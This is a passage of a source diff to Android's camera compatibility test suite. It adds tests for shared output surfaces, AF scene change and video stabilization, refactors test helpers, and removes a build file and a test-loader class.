+ updateOutputConfiguration(cameraId, outputConfig);
+ }
+ }
+
+ for (int i = 0; i < IMG_READER_COUNT; i++) {
+ imageReaders[i].close();
+ }
+
+ stopPreview(cameraId);
+ }
+
+ /*
+ * Test the dynamic shared surface limit.
+ */
+ public void testSharedSurfaceLimit() throws Exception {
+ for (String cameraId : mCameraIds) {
+ try {
+ openCamera(cameraId);
+ if (getStaticInfo(cameraId).isHardwareLevelLegacy()) {
+ Log.i(TAG, "Camera " + cameraId + " is legacy, skipping");
+ continue;
+ }
+ if (!getStaticInfo(cameraId).isColorOutputSupported()) {
+ Log.i(TAG, "Camera " + cameraId +
+ " does not support color outputs, skipping");
+ continue;
+ }
+
+ testSharedSurfaceLimitByCamera(cameraId,
+ Camera2MultiViewCtsActivity.MAX_TEXTURE_VIEWS);
+ }
+ finally {
+ closeCamera(cameraId);
+ }
+ }
+ }
+
+ private void testSharedSurfaceLimitByCamera(String cameraId, int surfaceLimit)
+ throws Exception {
+ Size previewSize = getOrderedPreviewSizes(cameraId).get(0);
+ CameraPreviewListener[] previewListener = new CameraPreviewListener[surfaceLimit];
+ SurfaceTexture[] previewTexture = new SurfaceTexture[surfaceLimit];
+ Surface[] surfaces = new Surface[surfaceLimit];
+ int sequenceId = -1;
+
+ if ((surfaceLimit <= 1) ||
+ (surfaceLimit < OutputConfiguration.getMaxSharedSurfaceCount())) {
+ return;
+ }
+
+ // Create surface textures with the same size
+ for (int i = 0; i < surfaceLimit; i++) {
+ previewListener[i] = new CameraPreviewListener();
+ mTextureView[i].setSurfaceTextureListener(previewListener[i]);
+ previewTexture[i] = getAvailableSurfaceTexture(
+ WAIT_FOR_COMMAND_TO_COMPLETE, mTextureView[i]);
+ assertNotNull("Unable to get preview surface texture", previewTexture[i]);
+ previewTexture[i].setDefaultBufferSize(previewSize.getWidth(), previewSize.getHeight());
+ // Correct the preview display rotation.
+ updatePreviewDisplayRotation(previewSize, mTextureView[i]);
+ surfaces[i] = new Surface(previewTexture[i]);
+ }
+
+ SimpleCaptureCallback resultListener = new SimpleCaptureCallback();
+
+ // Create shared outputs for the two surface textures
+ OutputConfiguration surfaceSharedOutput = new OutputConfiguration(surfaces[0]);
+ surfaceSharedOutput.enableSurfaceSharing();
+
+ List<OutputConfiguration> outputConfigurations = new ArrayList<>();
+ outputConfigurations.add(surfaceSharedOutput);
+
+ startPreviewWithConfigs(cameraId, outputConfigurations, null);
+
+ boolean previewDone =
+ previewListener[0].waitForPreviewDone(WAIT_FOR_COMMAND_TO_COMPLETE);
+ assertTrue("Unable to start preview", previewDone);
+ mTextureView[0].setSurfaceTextureListener(null);
+
+ SystemClock.sleep(PREVIEW_TIME_MS);
+
+ int i = 1;
+ for (; i < surfaceLimit; i++) {
+ //Add one more output surface while preview is streaming
+ if (i >= OutputConfiguration.getMaxSharedSurfaceCount()){
+ try {
+ surfaceSharedOutput.addSurface(surfaces[i]);
+ fail("should get IllegalArgumentException due to output surface limit");
+ } catch (IllegalArgumentException e) {
+ //expected
+ break;
+ }
+ } else {
+ surfaceSharedOutput.addSurface(surfaces[i]);
+ updateOutputConfiguration(cameraId, surfaceSharedOutput);
+ sequenceId = updateRepeatingRequest(cameraId, outputConfigurations, resultListener);
+
+ SystemClock.sleep(PREVIEW_TIME_MS);
+ }
+ }
+
+ for (; i > 0; i--) {
+ if (i >= OutputConfiguration.getMaxSharedSurfaceCount()) {
+ try {
+ surfaceSharedOutput.removeSurface(surfaces[i]);
+ fail("should get IllegalArgumentException due to output surface limit");
+ } catch (IllegalArgumentException e) {
+ // expected exception
+ }
+ } else {
+ surfaceSharedOutput.removeSurface(surfaces[i]);
+
+ }
+ }
+ //Remove all previously added shared outputs in one call
+ updateRepeatingRequest(cameraId, outputConfigurations, resultListener);
+ long lastSequenceFrameNumber = resultListener.getCaptureSequenceLastFrameNumber(
+ sequenceId, PREVIEW_TIME_MS);
+ checkForLastFrameInSequence(lastSequenceFrameNumber, resultListener);
+ updateOutputConfiguration(cameraId, surfaceSharedOutput);
+ SystemClock.sleep(PREVIEW_TIME_MS);
+
+ stopPreview(cameraId);
+ }
+
+ /*
+ * Test dynamic shared surface switch behavior.
+ */
+ public void testSharedSurfaceSwitch() throws Exception {
+ for (String cameraId : mCameraIds) {
+ try {
+ openCamera(cameraId);
+ if (getStaticInfo(cameraId).isHardwareLevelLegacy()) {
+ Log.i(TAG, "Camera " + cameraId + " is legacy, skipping");
+ continue;
+ }
+ if (!getStaticInfo(cameraId).isColorOutputSupported()) {
+ Log.i(TAG, "Camera " + cameraId +
+ " does not support color outputs, skipping");
+ continue;
+ }
+
+ testSharedSurfaceSwitchByCamera(cameraId, NUM_SURFACE_SWITCHES);
+ }
+ finally {
+ closeCamera(cameraId);
+ }
+ }
+ }
+
+ private void testSharedSurfaceSwitchByCamera(String cameraId, int switchCount)
+ throws Exception {
+ Size previewSize = getOrderedPreviewSizes(cameraId).get(0);
+ CameraPreviewListener[] previewListener = new CameraPreviewListener[2];
+ SurfaceTexture[] previewTexture = new SurfaceTexture[2];
+ Surface[] surfaces = new Surface[2];
+
+ // Create surface textures with the same size
+ for (int i = 0; i < 2; i++) {
+ previewListener[i] = new CameraPreviewListener();
+ mTextureView[i].setSurfaceTextureListener(previewListener[i]);
+ previewTexture[i] = getAvailableSurfaceTexture(
+ WAIT_FOR_COMMAND_TO_COMPLETE, mTextureView[i]);
+ assertNotNull("Unable to get preview surface texture", previewTexture[i]);
+ previewTexture[i].setDefaultBufferSize(previewSize.getWidth(), previewSize.getHeight());
+ // Correct the preview display rotation.
+ updatePreviewDisplayRotation(previewSize, mTextureView[i]);
+ surfaces[i] = new Surface(previewTexture[i]);
+ }
+
+ SimpleCaptureCallback resultListener = new SimpleCaptureCallback();
+
+ // Create shared outputs for the two surface textures
+ OutputConfiguration surfaceSharedOutput = new OutputConfiguration(surfaces[0]);
+ surfaceSharedOutput.enableSurfaceSharing();
+
+ List<OutputConfiguration> outputConfigurations = new ArrayList<>();
+ outputConfigurations.add(surfaceSharedOutput);
+
+ startPreviewWithConfigs(cameraId, outputConfigurations, null);
+
+ boolean previewDone =
+ previewListener[0].waitForPreviewDone(WAIT_FOR_COMMAND_TO_COMPLETE);
+ assertTrue("Unable to start preview", previewDone);
+ mTextureView[0].setSurfaceTextureListener(null);
+
+ SystemClock.sleep(PREVIEW_TIME_MS);
+
+ for (int i = 0; i < switchCount; i++) {
+ //Add one more output surface while preview is streaming
+ surfaceSharedOutput.addSurface(surfaces[1]);
+ updateOutputConfiguration(cameraId, surfaceSharedOutput);
+ int sequenceId = updateRepeatingRequest(cameraId, outputConfigurations, resultListener);
+
+ SystemClock.sleep(PREVIEW_TIME_MS);
+
+ //Try to remove the shared surface while while we still have active requests that
+ //use it as output.
+ surfaceSharedOutput.removeSurface(surfaces[1]);
+ try {
+ updateOutputConfiguration(cameraId, surfaceSharedOutput);
+ fail("should get IllegalArgumentException due to pending requests");
+ } catch (IllegalArgumentException e) {
+ // expected exception
+ }
+
+ //Wait for all pending requests to arrive and remove the shared output during active
+ //streaming
+ updateRepeatingRequest(cameraId, outputConfigurations, resultListener);
+ long lastSequenceFrameNumber = resultListener.getCaptureSequenceLastFrameNumber(
+ sequenceId, PREVIEW_TIME_MS);
+ checkForLastFrameInSequence(lastSequenceFrameNumber, resultListener);
+ updateOutputConfiguration(cameraId, surfaceSharedOutput);
+
+ SystemClock.sleep(PREVIEW_TIME_MS);
+ }
+
+ stopPreview(cameraId);
+ }
+
+ private void checkForLastFrameInSequence(long lastSequenceFrameNumber,
+ SimpleCaptureCallback listener) throws Exception {
+ // Find the last frame number received in results and failures.
+ long lastFrameNumber = -1;
+ while (listener.hasMoreResults()) {
+ TotalCaptureResult result = listener.getTotalCaptureResult(PREVIEW_TIME_MS);
+ if (lastFrameNumber < result.getFrameNumber()) {
+ lastFrameNumber = result.getFrameNumber();
+ }
+ }
+
+ while (listener.hasMoreFailures()) {
+ ArrayList<CaptureFailure> failures = listener.getCaptureFailures(
+ /*maxNumFailures*/ 1);
+ for (CaptureFailure failure : failures) {
+ if (lastFrameNumber < failure.getFrameNumber()) {
+ lastFrameNumber = failure.getFrameNumber();
+ }
+ }
+ }
+
+ // Verify the last frame number received from capture sequence completed matches the
+ // the last frame number of the results and failures.
+ assertEquals(String.format("Last frame number from onCaptureSequenceCompleted " +
+ "(%d) doesn't match the last frame number received from " +
+ "results/failures (%d)", lastSequenceFrameNumber, lastFrameNumber),
+ lastSequenceFrameNumber, lastFrameNumber);
+ }
+
+ /*
* Verify behavior of sharing surfaces within one OutputConfiguration
*/
public void testSharedSurfaces() throws Exception {
@@ -517,7 +992,7 @@
// Run preview with both surfaces, and verify at least one frame is received for each
// surface.
- updateOutputConfigs(cameraId, deferredConfigs, null);
+ finalizeOutputConfigs(cameraId, deferredConfigs, null);
previewDone =
previewListener[1].waitForPreviewDone(WAIT_FOR_COMMAND_TO_COMPLETE);
assertTrue("Unable to start preview 1", previewDone);
@@ -547,7 +1022,7 @@
surfaceSharedOutput.addSurface(surfaces[1]);
deferredConfigs.clear();
deferredConfigs.add(surfaceSharedOutput);
- updateOutputConfigs(cameraId, deferredConfigs, null);
+ finalizeOutputConfigs(cameraId, deferredConfigs, null);
previewDone =
previewListener[1].waitForPreviewDone(WAIT_FOR_COMMAND_TO_COMPLETE);
assertTrue("Unable to start preview 1", previewDone);
@@ -574,7 +1049,7 @@
surfaceSharedOutput.addSurface(surfaces[1]);
deferredConfigs.clear();
deferredConfigs.add(surfaceSharedOutput);
- updateOutputConfigs(cameraId, deferredConfigs, null);
+ finalizeOutputConfigs(cameraId, deferredConfigs, null);
for (int i = 0; i < 2; i++) {
previewDone =
previewListener[i].waitForPreviewDone(WAIT_FOR_COMMAND_TO_COMPLETE);
@@ -584,4 +1059,20 @@
SystemClock.sleep(PREVIEW_TIME_MS);
stopPreview(cameraId);
}
+
+ private final class SimpleImageListener implements ImageReader.OnImageAvailableListener {
+ private final ConditionVariable imageAvailable = new ConditionVariable();
+ @Override
+ public void onImageAvailable(ImageReader reader) {
+ imageAvailable.open();
+ }
+
+ public void waitForAnyImageAvailable(long timeout) {
+ if (imageAvailable.block(timeout)) {
+ imageAvailable.close();
+ } else {
+ fail("wait for image available timed out after " + timeout + "ms");
+ }
+ }
+ }
}
diff --git a/tests/camera/src/android/hardware/camera2/cts/NativeCameraDeviceTest.java b/tests/camera/src/android/hardware/camera2/cts/NativeCameraDeviceTest.java
index e2a61a6..eed64b9 100644
--- a/tests/camera/src/android/hardware/camera2/cts/NativeCameraDeviceTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/NativeCameraDeviceTest.java
@@ -16,6 +16,7 @@
package android.hardware.camera2.cts;
+import android.graphics.SurfaceTexture;
import android.hardware.camera2.cts.testcases.Camera2SurfaceViewTestCase;
import android.util.Log;
import android.util.Size;
@@ -59,8 +60,20 @@
testCameraDeviceSimplePreviewNative(mPreviewSurface));
}
+ public void testCameraDeviceSharedOutputUpdate() {
+ // Init preview surface to a guaranteed working size
+ Size previewSize = new Size(640, 480);
+ updatePreviewSurface(previewSize);
+ SurfaceTexture outputTexture = new SurfaceTexture(/* random texture ID*/ 5);
+ outputTexture.setDefaultBufferSize(previewSize.getWidth(), previewSize.getHeight());
+ Surface outputSurface = new Surface(outputTexture);
+ assertTrue("testCameraDeviceSharedWindowAddRemove fail, see log for details",
+ testCameraDeviceSharedOutputUpdate(mPreviewSurface, outputSurface));
+ }
+
private static native boolean testCameraDeviceOpenAndCloseNative();
private static native boolean testCameraDeviceCreateCaptureRequestNative();
private static native boolean testCameraDeviceSessionOpenAndCloseNative(Surface preview);
private static native boolean testCameraDeviceSimplePreviewNative(Surface preview);
+ private static native boolean testCameraDeviceSharedOutputUpdate(Surface src, Surface dst);
}
diff --git a/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java b/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java
index a900b84..4eef7a8 100644
--- a/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java
@@ -957,6 +957,65 @@
}
}
+ public void testAfSceneChange() throws Exception {
+ final int NUM_FRAMES_VERIFIED = 3;
+
+ for (String id : mCameraIds) {
+ Log.i(TAG, String.format("Testing Camera %s for AF scene change", id));
+
+ StaticMetadata staticInfo =
+ new StaticMetadata(mCameraManager.getCameraCharacteristics(id));
+ if (!staticInfo.isAfSceneChangeSupported()) {
+ continue;
+ }
+
+ openDevice(id);
+
+ try {
+ SurfaceTexture preview = new SurfaceTexture(/*random int*/ 1);
+ Surface previewSurface = new Surface(preview);
+
+ CaptureRequest.Builder previewRequest = preparePreviewTestSession(preview);
+ SimpleCaptureCallback previewListener = new CameraTestUtils.SimpleCaptureCallback();
+
+ int[] availableAfModes = mStaticInfo.getAfAvailableModesChecked();
+
+ // Test AF scene change in each AF mode.
+ for (int afMode : availableAfModes) {
+ previewRequest.set(CaptureRequest.CONTROL_AF_MODE, afMode);
+
+ int sequenceId = mCameraSession.setRepeatingRequest(previewRequest.build(),
+ previewListener, mHandler);
+
+ // Verify that AF scene change is NOT_DETECTED or DETECTED in CONTINUOUS_VIDEO
+ // and CONTINUOUS_PICTURE AF modes, and NOT_DETECTED in other AF modes.
+ for (int i = 0; i < NUM_FRAMES_VERIFIED; i++) {
+ TotalCaptureResult result =
+ previewListener.getTotalCaptureResult(CAPTURE_TIMEOUT);
+ if (afMode == CaptureRequest.CONTROL_AF_MODE_CONTINUOUS_VIDEO ||
+ afMode == CaptureRequest.CONTROL_AF_MODE_CONTINUOUS_PICTURE) {
+ mCollector.expectKeyValueIsIn(result,
+ CaptureResult.CONTROL_AF_SCENE_CHANGE,
+ CaptureResult.CONTROL_AF_SCENE_CHANGE_DETECTED,
+ CaptureResult.CONTROL_AF_SCENE_CHANGE_NOT_DETECTED);
+ } else {
+ mCollector.expectKeyValueEquals(result,
+ CaptureResult.CONTROL_AF_SCENE_CHANGE,
+ CaptureResult.CONTROL_AF_SCENE_CHANGE_NOT_DETECTED);
+ }
+ }
+
+ mCameraSession.stopRepeating();
+ previewListener.getCaptureSequenceLastFrameNumber(sequenceId, CAPTURE_TIMEOUT);
+ previewListener.drain();
+ }
+ } finally {
+ closeDevice(id);
+ }
+ }
+ }
+
+
private CaptureRequest.Builder preparePreviewTestSession(SurfaceTexture preview)
throws Exception {
Surface previewSurface = new Surface(preview);
diff --git a/tests/camera/src/android/hardware/camera2/cts/rs/AllocationCache.java b/tests/camera/src/android/hardware/camera2/cts/rs/AllocationCache.java
index b89f9bb..98f1032 100644
--- a/tests/camera/src/android/hardware/camera2/cts/rs/AllocationCache.java
+++ b/tests/camera/src/android/hardware/camera2/cts/rs/AllocationCache.java
@@ -223,7 +223,7 @@
if (other instanceof AllocationKey){
AllocationKey otherKey = (AllocationKey) other;
- return otherKey.mType.equals(mType) && otherKey.mUsage == otherKey.mUsage;
+ return otherKey.mType.equals(mType) && otherKey.mUsage == mUsage;
}
return false;
diff --git a/tests/camera/src/android/hardware/camera2/cts/testcases/Camera2MultiViewTestCase.java b/tests/camera/src/android/hardware/camera2/cts/testcases/Camera2MultiViewTestCase.java
index a1d63d8..66324da 100644
--- a/tests/camera/src/android/hardware/camera2/cts/testcases/Camera2MultiViewTestCase.java
+++ b/tests/camera/src/android/hardware/camera2/cts/testcases/Camera2MultiViewTestCase.java
@@ -64,10 +64,10 @@
private static final String TAG = "MultiViewTestCase";
private static final boolean VERBOSE = Log.isLoggable(TAG, Log.VERBOSE);
-
private static final long SHORT_SLEEP_WAIT_TIME_MS = 100;
- protected TextureView[] mTextureView = new TextureView[2];
+ protected TextureView[] mTextureView =
+ new TextureView[Camera2MultiViewCtsActivity.MAX_TEXTURE_VIEWS];
protected String[] mCameraIds;
protected Handler mHandler;
@@ -99,8 +99,9 @@
mHandler = new Handler(mHandlerThread.getLooper());
mCameraListener = new BlockingStateCallback();
Camera2MultiViewCtsActivity activity = (Camera2MultiViewCtsActivity) mContext;
- mTextureView[0] = activity.getTextureView(0);
- mTextureView[1] = activity.getTextureView(1);
+ for (int i = 0; i < Camera2MultiViewCtsActivity.MAX_TEXTURE_VIEWS; i++) {
+ mTextureView[i] = activity.getTextureView(i);
+ }
assertNotNull("Unable to get texture view", mTextureView);
mCameraIdMap = new HashMap<String, Integer>();
int numCameras = mCameraIds.length;
@@ -246,13 +247,13 @@
camera.startPreview(outputSurfaces, listener);
}
- protected void startPreviewWithConfigs(String cameraId,
+ protected int startPreviewWithConfigs(String cameraId,
List<OutputConfiguration> outputConfigs,
CaptureCallback listener)
throws Exception {
CameraHolder camera = getCameraHolder(cameraId);
assertTrue("Camera " + cameraId + " is not openned", camera.isOpened());
- camera.startPreviewWithConfigs(outputConfigs, listener);
+ return camera.startPreviewWithConfigs(outputConfigs, listener);
}
protected void stopPreview(String cameraId) throws Exception {
@@ -261,11 +262,39 @@
camera.stopPreview();
}
- protected void updateOutputConfigs(String cameraId, List<OutputConfiguration> configs,
+ protected void finalizeOutputConfigs(String cameraId, List<OutputConfiguration> configs,
CaptureCallback listener) throws Exception {
CameraHolder camera = getCameraHolder(cameraId);
assertTrue("Camera " + cameraId + " is not opened", camera.isOpened());
- camera.updateOutputConfigs(configs, listener);
+ camera.finalizeOutputConfigs(configs, listener);
+ }
+
+ protected int updateRepeatingRequest(String cameraId, List<OutputConfiguration> configs,
+ CaptureCallback listener) throws Exception {
+ CameraHolder camera = getCameraHolder(cameraId);
+ assertTrue("Camera " + cameraId + " is not opened", camera.isOpened());
+ return camera.updateRepeatingRequest(configs, listener);
+ }
+
+ protected void updateOutputConfiguration(String cameraId, OutputConfiguration config)
+ throws Exception {
+ CameraHolder camera = getCameraHolder(cameraId);
+ assertTrue("Camera " + cameraId + " is not opened", camera.isOpened());
+ camera.updateOutputConfiguration(config);
+ }
+
+ protected void capture(String cameraId, CaptureRequest request, CaptureCallback listener)
+ throws Exception {
+ CameraHolder camera = getCameraHolder(cameraId);
+ assertTrue("Camera " + cameraId + " is not opened", camera.isOpened());
+ camera.capture(request, listener);
+ }
+
+ protected CaptureRequest.Builder getCaptureBuilder(String cameraId, int templateId)
+ throws Exception {
+ CameraHolder camera = getCameraHolder(cameraId);
+ assertTrue("Camera " + cameraId + " is not opened", camera.isOpened());
+ return camera.getCaptureBuilder(templateId);
}
protected StaticMetadata getStaticInfo(String cameraId) {
@@ -426,6 +455,9 @@
throws Exception {
mSessionListener = new BlockingSessionCallback();
mSession = configureCameraSession(mCamera, outputSurfaces, mSessionListener, mHandler);
+ if (outputSurfaces.isEmpty()) {
+ return;
+ }
// TODO: vary the different settings like crop region to cover more cases.
CaptureRequest.Builder captureBuilder =
@@ -457,7 +489,7 @@
state == BlockingSessionCallback.SESSION_CONFIGURE_FAILED);
}
- public void startPreviewWithConfigs(List<OutputConfiguration> outputConfigs,
+ public int startPreviewWithConfigs(List<OutputConfiguration> outputConfigs,
CaptureCallback listener)
throws Exception {
createSessionWithConfigs(outputConfigs);
@@ -470,13 +502,11 @@
captureBuilder.addTarget(surface);
}
}
- mSession.setRepeatingRequest(captureBuilder.build(), listener, mHandler);
+ return mSession.setRepeatingRequest(captureBuilder.build(), listener, mHandler);
}
- public void updateOutputConfigs(List<OutputConfiguration> configs,
+ public int updateRepeatingRequest(List<OutputConfiguration> configs,
CaptureCallback listener) throws Exception {
- mSession.finalizeOutputConfigurations(configs);
-
CaptureRequest.Builder captureBuilder =
mCamera.createCaptureRequest(CameraDevice.TEMPLATE_PREVIEW);
@@ -485,7 +515,26 @@
captureBuilder.addTarget(surface);
}
}
- mSession.setRepeatingRequest(captureBuilder.build(), listener, mHandler);
+ return mSession.setRepeatingRequest(captureBuilder.build(), listener, mHandler);
+ }
+
+ public void updateOutputConfiguration(OutputConfiguration config) throws Exception {
+ mSession.updateOutputConfiguration(config);
+ }
+
+ public void capture(CaptureRequest request, CaptureCallback listener)
+ throws Exception {
+ mSession.capture(request, listener, mHandler);
+ }
+
+ public CaptureRequest.Builder getCaptureBuilder(int templateId) throws Exception {
+ return mCamera.createCaptureRequest(templateId);
+ }
+
+ public void finalizeOutputConfigs(List<OutputConfiguration> configs,
+ CaptureCallback listener) throws Exception {
+ mSession.finalizeOutputConfigurations(configs);
+ updateRepeatingRequest(configs, listener);
}
public boolean isPreviewStarted() {
diff --git a/tests/camera/src/android/hardware/cts/CameraTest.java b/tests/camera/src/android/hardware/cts/CameraTest.java
index 3b697ce..f5fff8e 100644
--- a/tests/camera/src/android/hardware/cts/CameraTest.java
+++ b/tests/camera/src/android/hardware/cts/CameraTest.java
@@ -462,6 +462,30 @@
}
@UiThreadTest
+ public void testStabilizationOneShotPreviewCallback() throws Exception {
+ int nCameras = Camera.getNumberOfCameras();
+ for (int id = 0; id < nCameras; id++) {
+ Log.v(TAG, "Camera id=" + id);
+ testStabilizationOneShotPreviewCallbackByCamera(id);
+ }
+ }
+
+ private void testStabilizationOneShotPreviewCallbackByCamera(int cameraId) throws Exception {
+ initializeMessageLooper(cameraId);
+ Parameters params = mCamera.getParameters();
+ if(!params.isVideoStabilizationSupported()) {
+ return;
+ }
+ //Check whether we can support preview callbacks along with stabilization
+ params.setVideoStabilization(true);
+ mCamera.setParameters(params);
+ mCamera.setOneShotPreviewCallback(mPreviewCallback);
+ checkPreviewCallback();
+ terminateMessageLooper();
+ assertEquals(PREVIEW_CALLBACK_RECEIVED, mPreviewCallbackResult);
+ }
+
+ @UiThreadTest
public void testSetOneShotPreviewCallback() throws Exception {
int nCameras = Camera.getNumberOfCameras();
for (int id = 0; id < nCameras; id++) {
diff --git a/tests/camera/src/android/hardware/multiprocess/camera/cts/CameraEvictionTest.java b/tests/camera/src/android/hardware/multiprocess/camera/cts/CameraEvictionTest.java
index 834d37c..0f48364 100644
--- a/tests/camera/src/android/hardware/multiprocess/camera/cts/CameraEvictionTest.java
+++ b/tests/camera/src/android/hardware/multiprocess/camera/cts/CameraEvictionTest.java
@@ -227,18 +227,15 @@
verify(spyStateCb, times(1)).onOpened(any(CameraDevice.class));
// Verify that we can no longer open the camera, as it is held by a higher priority process
- boolean openException = false;
try {
manager.openCamera(chosenCamera, spyStateCb, cameraHandler);
+ fail("Didn't receive exception when trying to open camera held by higher priority " +
+ "process.");
} catch(CameraAccessException e) {
assertTrue("Received incorrect camera exception when opening camera: " + e,
e.getReason() == CameraAccessException.CAMERA_IN_USE);
- openException = true;
}
- assertTrue("Didn't receive exception when trying to open camera held by higher priority " +
- "process.", openException);
-
// Verify that attempting to open the camera didn't cause anything weird to happen in the
// other process.
List<ErrorLoggingService.LogEvent> eventList2 = null;
diff --git a/tests/camera/utils/src/android/hardware/camera2/cts/helpers/CameraErrorCollector.java b/tests/camera/utils/src/android/hardware/camera2/cts/helpers/CameraErrorCollector.java
index aa048cf..5563700 100644
--- a/tests/camera/utils/src/android/hardware/camera2/cts/helpers/CameraErrorCollector.java
+++ b/tests/camera/utils/src/android/hardware/camera2/cts/helpers/CameraErrorCollector.java
@@ -877,6 +877,24 @@
}
/**
+ * Check if the key is non-null, and the key value is one of the expected values.
+ *
+ * @param result {@link CaptureResult} to get the key from.
+ * @param key The {@link CaptureResult} key to be checked.
+ * @param expected The expected values of the CaptureResult key.
+ */
+ public <T> void expectKeyValueIsIn(CaptureResult result,
+ CaptureResult.Key<T> key, T... expected) {
+ T value = expectKeyValueNotNull(result, key);
+ if (value == null) {
+ return;
+ }
+ String reason = "Key " + key.getName() + " value " + value
+ + " isn't one of the expected values " + Arrays.deepToString(expected);
+ expectContains(reason, expected, value);
+ }
+
+ /**
* Check if the key is non-null, and the key value contains the expected element.
*
* @param characteristics {@link CameraCharacteristics} to check.
diff --git a/tests/camera/utils/src/android/hardware/camera2/cts/helpers/StaticMetadata.java b/tests/camera/utils/src/android/hardware/camera2/cts/helpers/StaticMetadata.java
index 319ec91..3c551f8 100644
--- a/tests/camera/utils/src/android/hardware/camera2/cts/helpers/StaticMetadata.java
+++ b/tests/camera/utils/src/android/hardware/camera2/cts/helpers/StaticMetadata.java
@@ -2258,6 +2258,13 @@
}
/**
+ * Check if AF scene change key is supported.
+ */
+ public boolean isAfSceneChangeSupported() {
+ return areKeysAvailable(CaptureResult.CONTROL_AF_SCENE_CHANGE);
+ }
+
+ /**
* Get the value in index for a fixed-size array from a given key.
*
* <p>If the camera device is incorrectly reporting values, log a warning and return
diff --git a/tests/core/Android.mk b/tests/core/Android.mk
index 7a2a708..e9c9793 100644
--- a/tests/core/Android.mk
+++ b/tests/core/Android.mk
@@ -14,6 +14,4 @@
LOCAL_PATH:= $(call my-dir)
-BUILD_CTSCORE_PACKAGE:=$(LOCAL_PATH)/ctscore.mk
-
include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/core/ctscore.mk b/tests/core/ctscore.mk
deleted file mode 100644
index 10a91f1..0000000
--- a/tests/core/ctscore.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright (C) 2009 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_JAVA_LIBRARIES := android.test.runner bouncycastle conscrypt
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_DEX_PREOPT := false
-
-# don't include these packages in any target
-LOCAL_MODULE_TAGS := optional
-# and when installed explicitly put them in the data partition
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-# Don't delete META-INF from the core-tests jar
-LOCAL_DONT_DELETE_JAR_META_INF := true
-
-# TODO: Clean up this mess. (b/26483949). libnativehelper_compat_libc++ pulls in its own
-# static copy of libc++ and the libc++ we're bundling here is the platform libc++. This is
-# bround to break but is being submitted as a workaround for failing CTS tests.
-LOCAL_JNI_SHARED_LIBRARIES := libjavacoretests libsqlite_jni libnativehelper_compat_libc++ libc++
-
-# Include both the 32 and 64 bit versions of libjavacoretests,
-# where applicable.
-LOCAL_MULTILIB := both
-
-include $(BUILD_PACKAGE)
diff --git a/tests/core/runner/Android.mk b/tests/core/runner/Android.mk
index 7e4fb0d..f86ee2f 100644
--- a/tests/core/runner/Android.mk
+++ b/tests/core/runner/Android.mk
@@ -14,21 +14,6 @@
LOCAL_PATH:= $(call my-dir)
-ifeq ($(BUILD_CTSCORE_PACKAGE),)
- $(error BUILD_CTSCORE_PACKAGE must be defined)
-endif
-
-include $(CLEAR_VARS)
-
-# include this package in the tests target for continuous testing
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_PACKAGE_NAME := android.core.tests.runner
-
-LOCAL_STATIC_JAVA_LIBRARIES := cts-test-runner
-
-include $(BUILD_CTSCORE_PACKAGE)
-
#==========================================================
# Build the core runner.
#==========================================================
diff --git a/tests/core/runner/src/com/android/cts/core/internal/runner/TestLoader.java b/tests/core/runner/src/com/android/cts/core/internal/runner/TestLoader.java
deleted file mode 100644
index 108e8fd..0000000
--- a/tests/core/runner/src/com/android/cts/core/internal/runner/TestLoader.java
+++ /dev/null
@@ -1,258 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-/**
- * This file is a copy of https://cs.corp.google.com/android/frameworks/testing/runner/src/main/java/android/support/test/internal/runner/TestLoader.java
- * The only changes that have been made starts with // Libcore-specific
- */
-
-package com.android.cts.core.internal.runner;
-
-import android.util.Log;
-
-import org.junit.runner.Description;
-import org.junit.runner.notification.Failure;
-
-import java.lang.annotation.Annotation;
-import java.lang.reflect.Method;
-import java.lang.reflect.Modifier;
-import java.util.Collection;
-import java.util.LinkedHashMap;
-import java.util.List;
-import java.util.Map;
-
-/**
- * A class for loading JUnit3 and JUnit4 test classes given a set of potential class names.
- */
-public final class TestLoader {
-
- private static final String LOG_TAG = "TestLoader";
- // Libcore-specific change: Fully qualified name of TestNG annotation class.
- private static final String TESTNG_TEST = "org.testng.annotations.Test";
-
- private Map<String, Class<?>> mLoadedClassesMap = new LinkedHashMap<String, Class<?>>();
- private Map<String, Failure> mLoadFailuresMap = new LinkedHashMap<String, Failure>();
-
- private ClassLoader mClassLoader;
-
- /**
- * Set the {@link ClassLoader} to be used to load test cases.
- *
- * @param loader {@link ClassLoader} to load test cases with.
- */
- public void setClassLoader(ClassLoader loader) {
- mClassLoader = loader;
- }
-
- /**
- * Loads the test class from a given class name if its not already loaded.
- * <p/>
- * Will store the result internally. Successfully loaded classes can be retrieved via
- * {@link #getLoadedClasses()}, failures via {@link #getLoadFailures()}.
- *
- * @param className the class name to attempt to load
- * @return the loaded class or null.
- */
- public Class<?> loadClass(String className) {
- Class<?> loadedClass = doLoadClass(className);
- if (loadedClass != null) {
- mLoadedClassesMap.put(className, loadedClass);
- }
- return loadedClass;
- }
-
- protected ClassLoader getClassLoader() {
- if (mClassLoader != null) {
- return mClassLoader;
- }
-
- // TODO: InstrumentationTestRunner uses
- // Class.forName(className, false, getTargetContext().getClassLoader());
- // Evaluate if that is needed. Initial testing indicates
- // getTargetContext().getClassLoader() == this.getClass().getClassLoader()
